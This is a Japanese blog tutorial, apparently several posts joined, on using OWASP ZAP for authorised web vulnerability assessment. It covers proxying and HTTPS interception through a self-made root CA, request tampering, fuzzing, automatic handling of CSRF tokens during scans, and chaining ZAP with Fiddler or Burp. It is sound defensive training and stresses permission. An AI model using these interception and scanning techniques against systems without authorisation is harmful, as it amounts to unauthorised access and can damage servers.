12月から業務として脆弱性診断を毎日やっており、診断にはOWASP ZAPとFiddlerを利用しているのですが、ほぼ一月使ってみてZAPの使い方や便利さが分かってきたので、自分の把握したZAPの使い方をシェアすることにします。

はじめに・診断対象サイトについての注意

OWASP ZAPでの診断は自分の管理下にあるサイトか、診断許可をもらっているサイトに対してのみ行ってください。(アクセス数によっては途中のインフラにも気をつける必要があります)
許可をもらっていないサーバへZAPの診断を走らせるのは、不正アクセスと解釈される可能性が高く、また実際に対象サーバに危害を与えてしまう可能性もありうるので大変危険です。


OWASP ZAPの基本的な使い方 手動診断編

OWASP ZAPのダウンロード・インストール

各環境用(win,mac,linux版がある)のOWASP ZAPをこのサイトからダウンロードしてインストールします。インストール方法は割愛します。ZAPの実行にはJREなどのJAVA実行環境が必要です。
本記事では、Windows版ZAPの執筆時点最新バージョン2.3.1に基づいて解説します。

ZAPでブラウザの通信を中継(&覗き見)する手順

1.OWASP ZAPを起動し、特定のポート(デフォルトは8080ポート)で待ち受けを開始させる
ZAPは起動すると設定されたポートでローカルプロキシとして待ち受けを始めます。何も設定していなければ、ローカルホストのデフォルト8080ポートがZAPが待ち受けるポートになっています。

※8080ポートは他のツールとかぶりやすいので、もし8080ポートで問題がある場合はZAPメニューの「ツール」-「オプション」で起動したオプション画面の「ローカルプロキシ」の設定画面で、ポートを空いてる任意のポート番号に設定します。


2.ブラウザのプロキシ設定をhttp,httpsの場合にZAPのポート(デフォルトなら8080)を通すように設定する

各ブラウザでのプロキシ設定方法を以下に記載します。
・IE11では設定-インターネットオプションの「接続」タブから「LANの設定」-プロキシサーバーのところでプロキシを使うにチェックを入れてlocalhost、8080ポートを設定。
・Firefoxでは「ツール-オプション-ネットワーク-接続設定」でHTTPとSSLにlocalhost、8080ポートを設定。
・Chromeでは「設定-詳細設定-ネットワーク-プロキシ設定の変更」でインターネットオプションのネットワーク設定画面が出てくるので、あとはIE同様に設定します。


3.プロキシ設定したブラウザで任意のサイトを見る(非SSL)
プロキシ設定したブラウザで、https~でないアドレスの任意のサイトにアクセスし、ZAPの「サイト」ウィンドウ(画面左)や画面下部の「履歴」タブのところに通信ログが出ればOKです。

(例としてIPAのサイトにアクセスしたところ。別にIPAのサイトを攻撃対象にするわけではありません)

SSLサイトの通信を中継するには:

上記の設定で、SSLを使っているサイトにアクセスすると、証明書が安全でないというエラーが出ます。
これはZAPがブラウザと当該サーバの間に入って通信を中継しているせいです。

ここで、この警告を無視してアクセスする選択(「セキュリティ例外として承認」ボタンなど)がある状態であれば、そのまま承認ボタンを押して接続することも可能ですが、Googleなど一部のサイトでは警告を無視して進むオプションが出てこないことがあります。

その場合、上の設定に加え、以下の手順を行ってください。
(SSLエラーが無視できるサイトの場合でも、都度エラーを出して例外を許可するのは手順が煩雑になるため、SSLが使われているサイト検査時には下記手順を行っておいたほうが検査がスムーズに行くと思われます)

4. ZAPのダイナミックSSL証明書をブラウザにインストールする

ZAPメニューの「ツール」-「オプション」で起動したオプション画面の「ダイナミックSSL証明書」の設定画面で、「保存」を押下します。



するとファイル保存ダイアログが表示され、OWASP ZAPが生成したルートCA証明書(デフォルトファイル名「owasp_zap_root_ca.cer」)をどこに保存するか聞かれるので、デスクトップなど、見失わないところに保存します。
このファイルをブラウザにルートCA証明書としてインポートすれば、ZAPでSSL通信を中継した時にSSLエラーが出なくなります。
(これはもちろん、正規のルートCA証明書ではなく、ZAPが勝手に作成したオレオレルートCA証明書です。)

各ブラウザへの証明書のインポート方法を以下に記載します。
・IE11では、設定-インターネットオプションの「コンテンツ」タブから「証明書」-「信頼されたルート証明機関」で「インポート」を押すと証明書インポートウィザードが開始されるので、「ファイル名」でさきほど保存した「owasp_zap_root_ca.cer」を選び「次へ」、証明書ストアで「証明書をすべて次のストアに配置する:信頼されたルート証明機関」になっていたら「次へ」で、確認画面が出るので「完了」、証明書ストアに証明書をインポートすることに対するセキュリティ警告が出るのでOKをすればインポートされます。

・Firefoxでは、「ツール」-「オプション」-「詳細」-「証明書」タブの「証明書を表示...」で、「認証局証明書」タブのところで「インポート」。ファイルダイアログが出るので「owasp_zap_root_ca.cer」を選ぶと、証明書のインポートというウィンドウが出てきて、この証明書が行う認証のうちWEB、メール、ソフトウェア製作者のどれを信頼するかという3択を聞かれるので「この認証局によるWEBサイトの識別を信頼する」にチェックを入れて「OK」を押すとインポートされます。

Chromeでは「設定」-「詳細設定」のところにある「HTTPS/SSL」セクションの「証明書の管理...」を押下すると、「証明書」というウィンドウが表示されますが、これはIE11の「インターネットオプション」-「コンテンツ」-「証明書」ボタン押下時に出てくるウィンドウとまったく一緒の画面なので、IE11同様の手順でインポートできます。


(※正式なものではないオレオレルートCA証明書をブラウザにインポートした状態はセキュリティ的にはあまり良くない状態のため、念のため「owasp_zap_root_ca.cer」ファイルはインポート後削除し、インポート済のZAPルートCA証明書も、使う期間が終わったらブラウザから削除しましょう。)

5.任意のSSLを使ったサイトにアクセス
警告が出ずにちゃんとアクセスでき、ZAP上に履歴が表示されればOKです。

ZAPでブラウザの通信を差し止めて改変する手順

1. リクエストにブレークポイントを設定

ZAPをブラウザのプロキシとして設定した後に、ZAPメニューアイコンの「→」(「全リクエストにブレークポイントセット」)ボタンを押下します。



この状態でブラウザからWEBサイトにアクセスすると、ブラウザが応答待ちの状態になり、ZAPの画面で上部右のウィンドウが「ブレーク」タブに自動的に切り替わり、GET/POSTリクエストが表示されます。
この状態になれば、ブラウザから発行されたリクエストがZAPによって差し止められています。

2. リクエストを書き換えて投げる

「ブレーク」タブに表示されたリクエストの任意の部分を書き換えてから、「→」ボタンを再度押してリクエストにブレークがかかる状態を解除した後に、右三角のボタン(「サブミットして次のブレークポイントへ移動」)を押下します。
(※次のブレークポイントは設定していないので、この操作で差し止めたリクエストをすべて送るという処理になります)



→書き換えられたリクエストがサーバに飛び、レスポンスが返ってきます。(リクエストの改変に成功)
ZAPの画面下部の「履歴」タブを確認すれば、どういうリクエストが投げられたかの確認ができます。
(履歴の行をダブルクリックで、「リクエスト」タブのところにリクエストが表示され、「レスポンス」タブを開くと、リクエストに応じたレスポンスが表示されます)

一度GET/POSTしたリクエストを再送信する手順


1. 履歴ウィンドウで履歴を選択し右クリックメニュー「再送信...」を選択



すると再送信用のウィンドウが立ち上がって、そのウィンドウから何度でも再送信が可能になります。そのウィンドウ上でリクエスト改変も可能です。


(再送信ウィンドウ。この画面でリクエストを改変して送信、が繰り返せる)

ファジングを行う手順


OWASP ZAPには、リクエストの一部をいろいろな文字列に置き換えてリクエストを自動で繰り返す「ファジング」を行う機能があります。
この機能をうまく使うと検査がかなり捗るのでおすすめです。

1.履歴ウィンドウで履歴を選択 → リクエストウィンドウの任意の文字列をドラッグし、右クリックメニュー「Fuzz...」を選択する

ZAPの履歴ウィンドウで履歴行をダブルクリックすると、ZAP右上のペインで「リクエスト」タブが自動的に有効になり、その履歴のリクエストが表示されます。そのリクエストの内容の一部をドラッグで選択し、その部分をファジング対象として指定することができます。



右クリックメニュー「Fuzz...」を選択すると、下図のように、ZAPに組み込まれているさまざまなFuzzカテゴリとFuzzリストが選択できます。



選択できるFuzzリストの中にどういう文字列が設定されているかは、Windows7の場合
C:\Program Files\OWASP\Zed Attack Proxy\lib\JBroFuzz.jar
これを解凍し、解凍ディレクトリ直下のfuzzers.jbrfというファイルをテキストエディタで開くと、文字列リストが書いてあります。
(fuzzers.jbrfに文字列リストが含まれていない「jbrofuzz/Zero Fuzzers」というカテゴリのFuzzerは、リクエストをただ単に繰り返すという特殊なFuzzerのためFuzz文字列リストがありません。)

自作の文字列リストでファジングを行う手順


1.ファジング用文字列ファイルを作成

ZAPのファジング用文字列ファイルは、一行に一文字列を記載する形式で自作することができます。

例えば、

aaa
bbb
ccc

このようなテキストファイルを作成し、任意のファイル名で保存します。(ここでは仮で「aaa.txt」とします。)

ファイル内にコメントを書きたい場合は、行頭を「#」から始めるとコメント行として読み飛ばされます。

2. ZAPの「Custom Fuzzers」に取り込む

ZAPメニューの「ツール」-「オプション」で起動したオプション画面の「Fuzzer」-「Add custom fuzz file:」で、自作のファジング用文字列ファイルをZAPに追加することができます。



例えばここで、さきほどの三行のファイルを「aaa.txt」としてZAPに登録すると、リクエストウィンドウ右クリック-「Fuzz...」で出てくるメニューのうち、「Custom Fuzzers」のfuzzリストに



のように出てくるようになります。

ここで登録したファイルの修正・削除メニューはZAPのUIにはないのですが、同名ファイルを登録すると上書きになり、削除は、登録したファイルがWindows7ではC:\Users\<ユーザー>\OWASP ZAP\fuzzers 下にあるので、ここから削除すると、ZAPの「Custom Fuzzers」のリストから消去されます。

ファジングの実行結果の見方


例として、さきほどのカスタムファザー「aaa.txt」でファジングを行うと、ZAPの「Fuzzer」タブが有効になり、下図のように、ファイルの三行に応じた3つのリクエストが飛びます。

(下図の例では、URLのGETパラメータ部分をファジング対象として指定したので、GETパラメータの変化が一覧に出てきており分かりやすいのですが、POSTの場合などはこの一覧には出てこないので「Fuzz」欄の値で何を試したか確認します)



ここで、ファジングの実行結果より、怪しい応答を見つけ出す方法を解説します。

ZAPのファジング実行結果ウィンドウで、任意の行をダブルクリックすれば、そのリクエストおよびレスポンスの詳細がZAPのリクエストタブ・レスポンスタブで確認できますが、ファジングは通常、大量の値を次々に試すので、一つ一つのレスポンスを開いて目検でチェックしていくのは大変です。

実際の診断時では、ここでは、何百件もあるようなファジング結果群から、何らかの異常が起こったレスポンスだけを見当をつけてチェックする必要があるのですが、ZAPのファジング実行結果ウィンドウはよくできていて、一覧上である程度、詳細を見るべきレスポンスがどれなのか判断が付くようになっています。

ZAPのファジング実行結果ウィンドウに表示される項目は

・メソッド・・・GET/POSTなど
・URI・・・リクエストURI
・Status・・・リクエストを行った結果のHTTPステータスコード
・Reason・・・HTTPステータスコードとセットのReason-Phrase
・RTT(ms)・・・レスポンスが戻ってくるまでの時間
・Size・・・レスポンスのContent-Length
・State・・・ファジング用文字列がレスポンスに含まれていたら「Reflected」、レスポンスが戻ってきたがファジング用文字列がレスポンスに含まれていなければ「Successful」、レスポンスが戻ってこなければ「エラー」

となります。

例えば、ファジングの実行の結果、下図のような結果が返ってきたとして、

一覧に表示された情報から、

・パラメータに「aaa」を指定したところ、レスポンスに「aaa」が含まれた結果が返ってきた
・パラメータに「bbb」を指定したところ、レスポンスに「bbb」は含まれていなかった
・パラメータに「ccc」を指定したところ、レスポンスが返ってこなかった
・パラメータに「ddd」を指定したところ、404になった

ということが分かります。(fiddlerで結果を操ってこういう結果を出したので、こんな変な挙動をするhtmlファイルは何なのか等は気にしないでください)

この例から分かる通り、

・ダブルクォートやタグなどのHTML特殊文字が「Reflected」になっていたら、値がエスケープされずに戻ってきているため、XSSの可能性あり
・特定の文字の時だけ、レスポンスサイズ・応答時間・ステータスが他リクエストと違うものがあれば、詳細を見る必要がある
(単なる記号ではなく何かしら意味のある文字として処理されている可能性がある)

のような判定が一覧を見ているだけで可能です。

また、ファジング結果判定に関するZAPの便利技として、二つのレスポンスの差分が、具体的にどこなのか目視でよく分からないときには、二つの行を選択して右クリック - 「Compare 2 Responces」を選択すると、二つのレスポンスの差分をグラフィカルに表示してくれるDiffウィンドウが開きます。(これはFuzzerウィンドウだけでなく履歴ウィンドウでも使えます)




CSRFチェックのあるページに対してファジングを行う手順


ZAPのファジング機能は便利ですが、CSRFチェックが入っているページに対してはそのままでは実行できません。
CSRFチェックが入っているページに対してファジングを行う場合は下記の設定が必要になります。

1.ZAPにCSRFチェック用のトークンを覚えさせる

ZAPメニューの「ツール」-「オプション」で起動したオプション画面の「Anti CSRF トークン」の「Add」ボタンで、CSRF防止用トークンの名前を登録します。



2.CSRFチェック用のトークンが発行されるページにアクセスする

登録したCSRFチェック用トークンが発行されるページにブラウザでアクセスします。
設定がうまくいっていれば、ZAPがトークンを認識し、履歴ウィンドウのTags欄に「AntiCSRF」 と出ます。



3.CSRFチェックがあって直接リクエストが送れないページに遷移して、ファジングを行う

CSRFトークンを受け取るページに遷移し、そのPOSTのレスポンスをZAP上で表示し、ファジングを行います。
Fuzzウィンドウは、そのページへのリクエストに「Anti CSRF トークン」に登録したトークンが含まれていると、CSRFチェック対応用のモードになります。
そのモードの場合、右クリック-Fuzz..で表示されるウィンドウに下図赤枠の項目が追加されます。
ここで「anti CSRFトークン利用」チェックボックスと、「トークン・リクエストの表示」にチェックを入れてください。

(下図は設定例です。トークン名は「samplecsrftoken」です。私の環境だと「トークン・リクエストの表示」という文字がチェックボックスにかかってしまって見にくいですが、これにチェックを入れることで、ZAPがトークンが発行されるページに都度アクセスしている履歴がFuzzerタブに出てくるようになります。)



ファジングを開始すると、ZAPが自動的に「トークンの発行されるページでトークンを取得してから当該のページにファジング」を行ってくれます。

下図は、「csrftest1.php」でトークン発行、「csrftest2.php」で受け取ったトークンが合っていたら200、合っていなければ404を返すプログラムで実験してみた結果です。
ここでファジング対象にしているのは「csrftest2.php」ですが、ZAPが1リクエストごとに「csrftest1.php」にトークンを取得しに行き、そのページで発行されたCSRFチェック用トークンで「csrftest2.php」にPOSTを行い、CSRFチェックに通る形でファジングを行っているのが分かります。


この、CSRFチェックを回避しながら自動的に検査を行う機能は、ファジングだけでなく動的スキャンのほうでも設定すれば使えます。そのあたりの解説は、後日公開予定の自動診断編で書きます。

→CSRFチェックを回避しながらの動的スキャンについては書けてませんが、続編書きました。


※本稿のOWASP ZAPでの手動診断の手順は、「脆弱性診断ええんやで」講師松本さんから教えてもらった内容をベースにして、自分で発見したテクニックを追加したものです。
https://security-testing.doorkeeper.jp/

株式会社トレードワークス セキュリティ事業部の松本さんが8月より月イチで開催しているOWASP ZAP ハンズオンセミナーの第4回目の内容のまとめです。

※まとめの前に注記ですが、このまとめを書いている私、g_satoは2014年12月1日より、セミナー講師の松本さんが所属する会社のセキュリティ事業部に転職し、念願の脆弱性診断業務に就くことになりました。
セミナー開催者の身内の立場になったのに、個人ブログでこのセミナーについて取り上げると、構図的にステマ風味になってしまうのですが、媒体はともかくセミナーの内容をフル公開するのは普通に良いことだと思うので、今回は身内であることを明記しつつ、従来どおりここでまとめます。(でもやっぱステマっぽいので記事の公開方法など悩み中です。後で記事の移転等あるかもしれません)

資料
前回までのまとめ
OWASP ZAP ハンズオンセミナー 「セキュリティ診断(自分でしたら)いかんのか?(OWASP ZAPなら)ええんやで(^ ^)」第一回~第三回の内容まとめ・前編
http://securitymemo.blogspot.jp/2014/11/owasp-zap-owasp-zap.html

OWASP ZAP ハンズオンセミナー 「セキュリティ診断(自分でしたら)いかんのか?(OWASP ZAPなら)ええんやで(^ ^)」第一回~第三回の内容まとめ・後編
http://securitymemo.blogspot.jp/2014/11/owasp-zap-owasp-zap_5.html

講師の松本さんのブログでの案内と概略
第4回セキュリティ診断(自分でしたら)いかんのか?(OWASP ZAPなら)ええんやで(^ ^)(まじめにゆいがどくそん)
http://nilfigo.hatenablog.com/entry/2014/11/21/190000

セミナーの案内ページ(セキュリティ診断手法コミュニティページ)
セキュリティ診断 勉強会
http://security-testing.doorkeeper.jp/
このページにこれまでのセミナーの案内ページへのリンクがあります。


・セミナーの事前準備
ハンズオンセミナーなので、OWASP ZAPが動く環境が必要です。

各環境用(win,mac,linux版がある)のOWASP ZAPをこのサイトからダウンロードしてインストール。(要JREなどのJAVA実行環境)
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

本記事ではWindows版ZAPバージョン2.3.1に基づいて解説します。
今回は、プロキシの設定は講義中に行うので、インストールのみでOKです。

また、今回のテーマが「ZAPと他のツールとの連携」なので、以下のソフトのダウンロード&インストールが必要です。

・(Windows環境の方)Fiddler
http://www.telerik.com/fiddler

・(Mac環境の方)Burp Suite
http://portswigger.net/burp/

Foxyproxy Standard (ブラウザ用プロキシ設定ツール)
https://addons.mozilla.org/ja/firefox/addon/foxyproxy-standard/
https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp?hl=ja

セミナー本編
今回のテーマは「OWASP ZAPと他のツールとの連携による手動診断手法」。OWASP ZAPと別のプロキシソフトとの連携の方法をハンズオンで学ぶ。
WindowsではFiddler、MacではBurp Suiteを利用する。

・(Windows環境)Fiddlerのインストール
環境がWindowsの方は、ZAPとFiddlerを連携させる設定を行うので、まずFiddlerをインストール。
ブラウザはFirefoxかChromeを利用して欲しい。(IEだとシステム全体のプロキシ設定が変更されてしまうため)

・(Mac環境)Burp Suiteのインストール
環境がMACの方は、FiddlerはMacではかなりアクロバティックなことをやらないと動かないので、Burpを利用する。
Java製なのでJar Launcher App がMACでは必要なため、入ってなければこれもインストールする。
Burp Suiteのjarを実行すればOK(windows環境でも、Burp Suiteのjarを落としてきてダブルクリックで実行すればBurp Suiteが起動する)

・(両環境)Foxyproxyのインストール
利用するブラウザによって下記リンクからFoxyproxyアドオンをインストール。
・Firefox
https://addons.mozilla.org/ja/firefox/addon/foxyproxy-standard/
・Chrome
https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp?hl=ja

・FoxyProxyの設定
※ここで講師より foxyproxy-config.xml というファイルが配布されFoxyproxyへのインポートを指示された。
配布ファイルは以下。
foxyproxy-config.xml

Chromeでの設定のインポート手順
Chromeのメニュー - 設定 - 拡張機能 - FoxyProxy Standardのオプション - Import/Export の「Import FoxyProxy settings from a file」で上記のxmlファイルを選択。

Firefoxでの設定のインポート手順
Firefoxのメニュー - ツール - アドオン - FoxyProxy Standard の「設定」を選択するとFoxyProxyの子ウィンドウが立ち上がるので、左上メニューの「ファイル」から「Import Settings」でファイルダイアログが立ち上がるので上記のxmlファイルを選択。

※配布された設定ファイルによるFoxyProxyの設定の内容
手作業でやる場合の設定は以下。この内容を設定ファイルのインポートで一括で設定している。


・7777 ZAP ・・・ブラウザのプロキシ設定をlocalhost:7777に設定。全URL。(ローカルPCの7777ポートでZAPが待ちうけ)
・8888 Fiddler ・・・ブラウザのプロキシ設定をlocalhost:8888に設定。全URL。(ローカルPCの8888ポートでFiddlerが待ちうけ)
・6666 Burp ・・・ブラウザのプロキシ設定をlocalhost:6666に設定。全URL。(ローカルPCの6666ポートでBurp Suiteが待ちうけ)

・ZAPとFiddler、もしくはZAPとBurpの連携方法

1) 診断に利用するブラウザでFoxyProxyの設定画面を開き「全てのURLでプロキシ7777 ZAPを利用」を選択

これでブラウザがまず7777番ポートのプロキシを通じてWebにアクセスしようとする。
(※現段階では、ZAPの設定がされていないので、7777ポートに何もプロキシが動いておらず、ブラウザで何か見ようとしても何も見れない状態にいったんなる。次の手順でZAPを7777番ポートで待ち受けるように設定する)



2) OWASP ZAPを起動し、7777番ポートでプロキシとして動作するよう設定
ZAPのツール - オプション - ローカル・プロキシの画面で、hostをlocalhost、ポートを7777に設定。



この状態で任意のWEBサイトにアクセスすると、ZAPを通してのアクセスになり、診断ができるが、今回は、ZAPと別プロキシソフトとの連携なので、ZAPの先にもう一つプロキシを設定する。

3) ZAPのプロキシ・チェインを設定する

ZAPのツール - オプション - ネットワークの画面で、「プロキシ・チェイン利用」セクションの「外部プロキシを利用」をチェックし、アドレス/ドメイン名にlocalhost、ポートを、連携させるプロキシがFiddlerであれば8888、Burpであれば6666に設定。



この設定を行うと、ブラウザからの通信がまずZAPを通り、それからさらに別のlocalhost:8888またはlocalhost:6666にあるプロキシを通るようになる。

・ZAPと連携するプロキシの設定

Fiddlerの場合

前段でZAPとの連携プロキシにFiddlerを選んだ場合は、ZAPの外部プロキシをlocalhost:8888に設定し、Fiddlerを立ち上げれば、Fiddlerは自動的にデフォルトで8888ポートでプロキシの待ち受けを開始するので、ブラウザ - OWASP ZAP - Fiddler - WEBサイトという多段プロキシ接続に成功するはず。
ブラウザでWEBサイトにアクセスしてみて、ログが出ない、ページが出ない等うまく行かないようであれば以下の対応を行う。

Fiddlerの設定1:

Fiddlerは、起動するとシステムプロキシに自動的になり代わってしまう機能がある。これはFiddlerの手軽さに貢献している大きな要素だと思うが、今回の多段プロキシなどの場合、設定内容を混乱させる要因になるため、この機能をオフにするほうが良い。

FiddlerメニューのTools - Fiddler Options... - Connectionsタブの「Act as system proxy on startup」チェックボックスをオフにする。
また、もしFiddler listens on portが8888でない場合は8888に設定する。



(また余談として、今回は利用しないが、Fiddler OptionsウィンドウのGatewayタブにFiddlerの使う外部プロキシの設定画面があるので、ここでプロキシサーバのホスト・ポートを設定すると、Fiddlerからさらに別のプロキシを通す多段設定ができる。)

Fiddlerの設定2:

Fiddlerの左下の、下図で「Capturing」と表示されている欄が空欄になっている場合、通信をキャプチャする設定になっていないので、F12を押して「Capturing」の状態にする。
また、その隣の欄の、下図で「All Processes」になっている欄が「Web Browsers」になっていると、ZAPからの接続はブラウザからという判定にならないためキャプチャ対象にならないため、「All Processes」にする。



Burp Suiteの場合

ZAPとの連携プロキシにBurp Suiteを選んだ場合は、ZAPの外部プロキシをlocalhost:6666に設定し、Burpを立ち上げた後、Burpの設定がいくつか必要になる。
Burpは起動時にリクエストを差し止める設定がオンになっているので、まずはそれをオフにする必要がある。

Burpの画面上部、二段になっているタブの列の一段目のタブ「Proxy」二段目のタブ「Intersept」で出てくる画面の「Intersept is on」というボタンが押し込まれた状態になっているので、これを押下してオフにする(「Intersept is off」という表記になる)。



それから、Burpが6666番ポートで待ち受けを行うように設定する。

Burpの画面上部、二段になっているタブの列の一段目のタブ「Proxy」二段目のタブ「Options」で出てくる画面の「Proxy Listeners」欄にあるデフォルトの行を選択し「Edit」押下。



すると「Edit Proxy Listener」というウィンドウが開くので、「Bind to port」を「6666」、「Bind to address」を「All Interfaces」に設定。



これで、ZAP-Fiddler もしくは、 ZAP-Burpという構成の多段プロキシ接続で診断ができるような構成になった。


多段プロキシ構成でZAPを使った検査を行う演習

※ここでハンズオン演習。
セミナー第一回~第三回まとめのときと同様、会場内サーバにあるMuttilidae(ミューティリダエ)のルートURLをコンテキストに入れて、一度ブラウザでPOSTを行い、ZAPの画面下部の履歴タブのPOSTを右クリックして、Active Scan Single URLを選択し、動的スキャンを走らせる。
細かい手順はセミナー第一回~第三回まとめを参照。
この手順を自習する場合は、Muttilidaeでなくとも、任意の自己管理下にある検査しても良いサーバに対して行っても良い。(Muttilidaeに依存した手順や説明は出てこない)


別プロキシを通すと何がいいのか?

ZAP単体で検査をするのではなく、別プロキシを通して多段にするメリットは何か?

・ZAPの診断内容を手軽に知ることができる。正確なログが取れ、エクスポートもできる。

ZAPの履歴タブ(など)には全てのリクエストが出るわけではない。成功したときだけ出たり、Fuzzerタブ、履歴タブなどで履歴が出る基準が違ったりするため、検査内容を正確に把握するために別プロキシを通して履歴を出しておくと便利。
(サーバ側ApacheのログにPOSTを出すようにして診断内容を把握することもできなくはないが、サーバ側に設定を加えたりする必要があるので、手間がかかる)

ZAPからの診断リクエストを、直接ではなくFiddlerを通すようにすると、どれだけのリクエストが行われたかもカウントアップされるし、Fiddlerの設定を加えて日時を表示することもできる。まとめてごそっとExportもできる。

診断時に何かサーバ側で問題があった場合、Fiddlerを通してログをとっておくと、診断のせいなのかそうでないのかの切り分けが容易になる。

・負荷を低く抑える設定が可能になる

ZAPで検査していて、検査時にかかる負荷が問題になるときには、ZAP単体である程度負荷をおさえる設定をすることができる。

ZAPのツール - オプション - 動的スキャンの画面で、「並列スキャンするホスト数」を1、「並列スキャンスレッド数」を1、「スキャン中のミリ秒単位の遅延」を「1000」に設定すると、1つのホストに対して1スレッドが1秒ごとに検査を行う、という設定になる。



しかし、「スキャン中のミリ秒単位の遅延」の上限が1000ミリ秒なので、ZAP単体では、1秒よりも遅い設定を行うことはできない。

そこで、多段プロキシの設定を行い、二つ目のプロキシ側で遅延をかける方法がある。

[Fiddlerで通信の遅延処理を入れる方法]
1)
FiddlerのRules - Customize rules... を選択するとテキストエディタでCustomRules.jsが開いて、各アクションをカスタマイズすることが可能になる。
CustomRules.js内のOnBeforeRequestハンドラ内で、if (m_SimulateModem) {...}となっているif文を探す。
筆者の環境だと下記If文となっている。
if (m_SimulateModem) {
    // Delay sends by 300ms per KB uploaded.
    oSession["request-trickle-delay"] = "300"; 
    // Delay receives by 150ms per KB downloaded.
    oSession["response-trickle-delay"] = "150"; 
}
2)
このif文内に
System.Threading.Thread.Sleep(1000);
という文を書き加える。(1秒スリープ)

3)
FiddlerのRules - Performance - Simulate Modem Speedチェックボックスにチェックを入れる。
ここにチェックを入れると、上記の if (m_SimulateModem) {...} のIf文内が有効になり、リクエストごとに指定したミリ秒sleepするという動作をさせることができる。

Burpも同様のことができるはずだが、今回は説明は割愛。

質疑応答

質問1
Burp でSSLのページで警告が出ないようにするには?



Burpの一段目のProxyタブ、二段目の「Options」を選択。
CA Certificate...ボタンを押下。
CA CertificateウィンドウでCertificate in DER formatを選択しエクスポート。
その証明書をブラウザのルート証明書としてインポート。(Portswigger CAという認証局。インポート時に対象を聞かれるが「この認証局によるWEBサイトの識別を信頼する」のみでよい)

これでSSLエラーや警告は出なくなるはず。
(使い終わったらブラウザにインポートした証明書は削除すること。)

質問2
診断の結果はどこに?

アラートタブにリアルタイムに診断結果が出ている。
診断の結果は、ZAPメニューの「レポート」で XML、HTMLでレポート生成があって、保存先を指定すると自動的にブラウザで開かれる。
レポートは英語だが、翻訳プロジェクトがある。

質問3

レポートに日付は?
→今確認したところ出ていない。
レポートを作った日は出るが、リクエスト日付は出ない。これは不便なので、改善要求を出したほうが良いかもしれない。

2)実際の検査におけるZAPの設定と手順

前編の1)で「Standerd Mode」の状態で「クイックスタート」による検査を行ったが、これはあくまでもZAPの動作を確認するための手順で、実際の検査ではもう少し細かい指定をして検査を行う。
以下に実際の検査時の手順を説明する。

・ブラウザのプロキシを設定し、ブラウザで検査対象のページにアクセスする

前編の事前準備のところで解説した手順で、ZAPのプロキシ設定の調整(調整不要ならデフォルトで)と、ブラウザへのプロキシ設定を行う。

その状態で、検査対象とするサイトにアクセスすると、ZAP画面下部の「履歴」タブや左の「サイト」のところにアクセスしたサイトやURLが表示される。

・モードの変更
前編では「Standerd Mode」で検査を行ったが、実際の検査ではZAPの左上のmode設定を「Protected Mode」にして、意図しないページへの検査(攻撃)が走らないようにしながら検査を行う。

セミナーでは教わらなかったか私が聞き洩らしたか、で各モードの詳細が不明だったので調べたところ

・Safe Mode - 危険な処理が一切できないモード
・Protected Mode - スコープ内のURLにのみ危険な処理が行えるモード
・Standard Mode - 全URLに危険な処理が行えるモード

という感じのようでした。
「スコープ」というのは、コンテキストの一段上の概念で、コンテキストの設定画面で「In Scope」にチェックが入っているとそのコンテキストがスコープ内として扱われるようです。
コンテキスト設定画面の「In Scope」にはデフォルトでチェックが入っているので、本記事の手順では「コンテキストに入れていればスコープ内」になります。スコープについては他にも便利な使い方があったりするようなのですが、セミナーでは「スコープ」という概念の説明は、(多分)まだ出てきていないか省略されているため、本記事でも割愛します。

「Standerd Mode」の時に、ZAPを通してアクセスしたサイトをZAP上で右クリックすると、下図のように「攻撃」の各メニューが有効になっている。



この状態で検査を行うと、各URLに何の歯止めもなく攻撃できてしまうモードになっているため、誤操作や誤設定により意図しないページにまで検査を行ってしまう可能性がある。

それを防止するため、ZAPの左上のmode設定を「Protected Mode」にすることにより、「コンテキスト」に指定したページしか検査を行わないという設定を行う。

まず、ZAP左上のモードを「Protected Mode」にすると、コンテキストメニューの「攻撃」の各メニューはほとんどが無効とされてしまい、そのままでは検査(攻撃)をおこなうことができなくなる。



検査対象サイト/ページを指定するには、「サイト」もしくは「履歴」タブ内の検査対象にしたいサイトかページを右クリックし、コンテキストメニューより「include in Context」の「1」を選択。(この「1」はコンテキストの名称で、次に出てくるコンテキストの設定画面でちゃんとした名前に変更できる)



上で「1」を選択すると下図のウィンドウが開く。



ここで、「Include in Context」の「URL regexs」に「\Q」~「\E」の形の正規表現で、指定したURLが表示される。正規表現の「\Q」は「\E」までの正規表現メタ文字をエスケープするため、URLの「.」などが余計な意味を持たない。

「Include in Context」の「URL regexs」にURLを指定すると、ZAPの「サイト」タブのその正規表現にマッチするURLを持つページだけに二重丸「◎」のようなマークが付く。



この二重丸「◎」のようなマークが付いているページはコンテキストメニューの「攻撃」が有効になり、検査対象のページとなる。

ここで、本記事の手順を手元で確認中に気付いたのですが、Protected Modeの場合、対象となるページをコンテキストに入れるだけではなく、サイトのルートもコンテキストに入れないとうまく検査が走らないという挙動があるようです。(セミナーでも、単体のページだとうまく検査が動かず、急遽ルートからの検査に切り替えていたような気がします)

例えば、Protected Modeにした後で「http://127.0.0.1/test/test.php」だけを指定してコンテキストに入れて、このページに「◎」が付いている状態で自動検査を行おうとしても、一見、右クリックメニューで「攻撃」が有効になっているように見えて、実際に「Active Scan single URL」を選択しても検査が走らず、何もせずに止まってしまいます。
モードを「Standard Mode」に戻すか、「http://127.0.0.1/」をコンテキストに入れると、右クリック-「攻撃」-「Active Scan single URL」が動作するようです。
ただ、「◎」が付いていて、コンテキストメニューでも攻撃可能になっているのに、実際には攻撃が走らない、というのは直感に反するので、この挙動が正しいのか自分の設定ミスなのか、後日確認します。
ひとまず上記手順で検査が動かない場合、「サイトのルート」もコンテキストに入れる、という手順を追加して確認してみてください。

※2014/11/8追記
この現象について、私がいろいろZAP関連で参照させていただいているYuki(@yukisov)様のブログで検証がされていました。
Yuki様の調査によるとやはりバグっぽいようで、近いうちに出るZAP 2.4では修正されるようです。ありがとうございます。
OWASP ZAP 2.3 の Protected mode で Active Scan した時の問題について
(Web Application Security Memo)

・手動検査

OWASP ZAPを部分的に使って、手動検査を行うことも可能で、ここではその手順を解説する。

ブレークポイント

OWASP ZAPの右ペインの上部に「→」(全リクエストにブレークポイントセット)というアイコンがあり、このボタンを押下すると、ブラウザから発行されるPOSTやGETをZAPで中継する際に一時的に差し止めて、リクエストを改変してから発行することができる。



